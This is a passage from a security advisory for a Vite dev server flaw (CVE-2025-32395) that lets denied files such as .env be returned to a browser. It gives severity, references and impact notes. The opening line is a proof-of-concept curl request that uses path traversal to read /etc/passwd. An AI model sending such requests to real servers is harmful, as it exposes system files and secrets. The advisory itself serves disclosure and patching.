curl --request-target /@​fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

Severity

• CVSS Score: 6.0 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4
• https://nvd.nist.gov/vuln/detail/CVE-2025-32395
• https://github.com/vitejs/vite/commit/175a83909f02d3b554452a7bd02b9f340cdfef70
• https://github.com/vitejs/vite

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

• Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env
• Examples of other patterns: **/.git/**, `.g

✂ Note

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